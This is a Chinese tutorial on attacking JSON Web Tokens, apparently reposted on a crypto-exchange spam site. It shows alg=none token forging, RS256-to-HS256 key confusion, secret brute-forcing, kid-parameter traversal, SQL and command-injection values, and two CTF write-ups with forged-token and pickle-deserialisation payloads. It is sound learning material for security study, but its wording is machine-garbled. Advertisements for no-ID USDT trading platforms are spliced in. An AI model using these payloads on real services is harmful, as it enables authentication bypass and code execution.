欢迎访问本站!

首页科技正文

usdt数字货币交易平台(www.payusdt.vip):JWT攻击学习

admin2021-04-1064安全技术WEB安全

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

JSON Web Token(JWT)是一种用于通讯双方之间转达平安信息的精练的、URL平安的表述性声明规范,经常用在跨域身份验证

cookie /session /jwt  差异点

1.对于一样平常的cookie,若是我们的加密措施欠妥,很容易造成信息泄露,甚至信息伪造,这一定不是我们期望的。

2.session:客户端在服务端上岸乐成之后,服务端会天生一个sessionID,返回给客户端,客户端将sessionID保留到cookie中,session保留在服务端,当客户接见量增添时,服务端就需要存储大量的session会话,对服务器有很大的磨练

3.jwt:在身份验证中,当用户使用他们的凭证乐成登录时,JSON Web Token将被返回而且必须保留在内陆

客户端身份经由服务器验证通事后,会天生带有署名的 JSON 工具并将它返回给客户端。客户端在收到这个 JSON 工具后存储起来

在以后的请求中客户端将 JSON 工具连同请求内容一起发送给服务器,服务器收到请求后通过 JSON 工具标识用户,若是验证不通过则不返回请求的数据。

验证不通过的情形有许多,好比署名不准确、无权限等。在 JWT 中服务器不保留任何会话数据 ,使得服务器加倍容易扩展。

组成

它的组成:第一部门我们称它为头部(header),第二部门我们称其为载荷(payload, 类似于飞机上承载的物品),第三部门是签证(signature).

类似于:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ

header

jwt的头部承载两部门信息:

声明类型,这里是jwt
声明加密的算法 通常直接使用 HMAC SHA256

完整的头部就像下面这样的JSON:

{
  'typ': 'JWT',
  'alg': 'HS256'
}

payload

载荷就是存放有用信息的地方。这些有用信息包罗三个部门

  • 尺度中注册的声明
  • 公共的声明
  • 私有的声明

尺度中注册的声明 :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 吸收jwt的一方
  • exp: jwt的过时时间,这个过时时间必须要大于签发时间
  • nbf: 界说在什么时间之前,该jwt都是不能用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明

公共的声明可以添加任何的信息,一样平常添加用户的相关信息或其他营业需要的需要信息.但不建议添加敏感信息,由于该部门在客户端可举行解码.

私有的声明

私有声明是提供者和消费者所配合界说的声明,一样平常不建议存放敏感信息。

{
  "sub": "1234567890",
  "name": "purplet",
  "admin": true,
  "secretid": 1
}

signature

jwt的第三部门是一个签证信息,这个签证信息由三部门组成:

  • header (base64后的)

  • payload (base64后的)

  • secret

这个部门需要base64加密后的header和base64加密后的payload使用.毗邻组成的字符串,然后通过header中声明的加密方式举行加盐secret组合加密,然后就组成了jwt的第三部门。加密方式如下。

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

最后将这三部门用.毗邻成一个完整的字符串,组成了最终的jwt。

jwt解密网站

攻击方式

署名无效

当用户端提交请求给应用程序,服务端可能没有对token署名举行校验,这样,攻击者便可以通过提供无效署名简朴地绕过平安机制。

直接修改payload内容,天生新token

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

,

USDT场外交易平台

U交所(www.9cx.net)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,

将secret置空。行使node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会接纳algorithm为none举行验证

由于alg为none,以是只要把signature设置为空(即不添加signature字段),提交到服务器,token都可以通过服务器的验证

import jwt
token = jwt.encode(
{
  "user": "admin",
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)

这里需要安装pyjwt库

pip install PyJWT

修改算法RS256为HS256(非对称密码-->对称密码)

JWT中最常用的两种算法为HMACRSA

HMAC(HS256):是一种对称加密算法,使用隐秘密钥对每条新闻举行署名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在这两种算法中都是使用私钥对signature字段举行署名,只有拿到了加密时使用的私钥,才有可能伪造token。

若是将算法从RS256更改为HS256,后端代码会使用公钥作为隐秘密钥,然后使用HS256算法验证署名。由于公钥有时可以被攻击者获取到,以是攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据举行署名。更改算法为HS256,即不存在公钥私钥问题,由于HMAC对称密码算法只有一个key

爆破密钥

JWT 的密钥爆破需要在一定的条件下举行:

  • 知悉JWT使用的加密算法
  • 一段有用的、已署名的token
  • 署名用的密钥不庞大(弱密钥)

c-jwt-cracker

这里运行之前需要些输入make下令,确立一个jwtcrack文件

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。我们可以通过修改kid参数举行目录遍历、sql注入、下令注入等攻击

,目录遍历
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}
,sql注入
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "aaaaaaa' UNION SELECT 'key';-- "
,下令执行
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/path/to/key_file|whoami"
}

修改JKU/X5U参数

类似于kid ,可以由用户举行输入,若是没有经由严酷过滤,就可以指定一组自界说的密钥文件,并指定web应用使用该组密钥来验证token。

JKU全称是“JWKSet URL”,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限制条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token。

XSU头部参数允许攻击者用于验证Token的公钥证书或证书链

信息泄露

直接将payload用base64解密,发泄一些敏感信息

easy_login

划分接见这两个文件,可以预测出存在controllers/api.js
这里是怎么猜出来的,看了赵总的WP,凭履历

koa框架主要目录:

这里总的来说就是要在sid不为 undefined,null,而且必须在全局变量 secrets 数组的长度和 0 之间的条件下,使sid不能作为为全局变量 secrets 数组的索引,那么 secret 就会为空了

secretid可以行使空数组绕过( JavaScript 是一门弱类型语言,空数组与数字对照永远为真)

以是总的做法就是天生一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none(空加密算法),即可绕过验证,使得最后登录时验证的用户名为 admin

import jwt
token = jwt.encode(
{"secretid":[],
"username":"admin",
"password":"888"},
algorithm="none",key=""
).decode('utf-8')
print(token)

==> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6Ijg4OCJ9.

ikun

这里提醒我们购置lv6,写个剧本跑一下

import requests
url="http://4134c719-6874-41bc-962f-ab08697fbc16.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

--》lv6在181页

抓包,查看cookie可以看到一段JWT,看到JWT长度较短,以是思量行使工具将JWT的第三段密钥爆破出来

接下去就是考察python反序列化,感兴趣的同砚可以自己去做一下

行使reduce函数

反序列化后发生的工具会在竣事时触发reduce()函数从而触发恶意代码。

import pickle
import urllib.parse

class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload(),protocol=0)
a = urllib.parse.quote(a)
print (a)

网友评论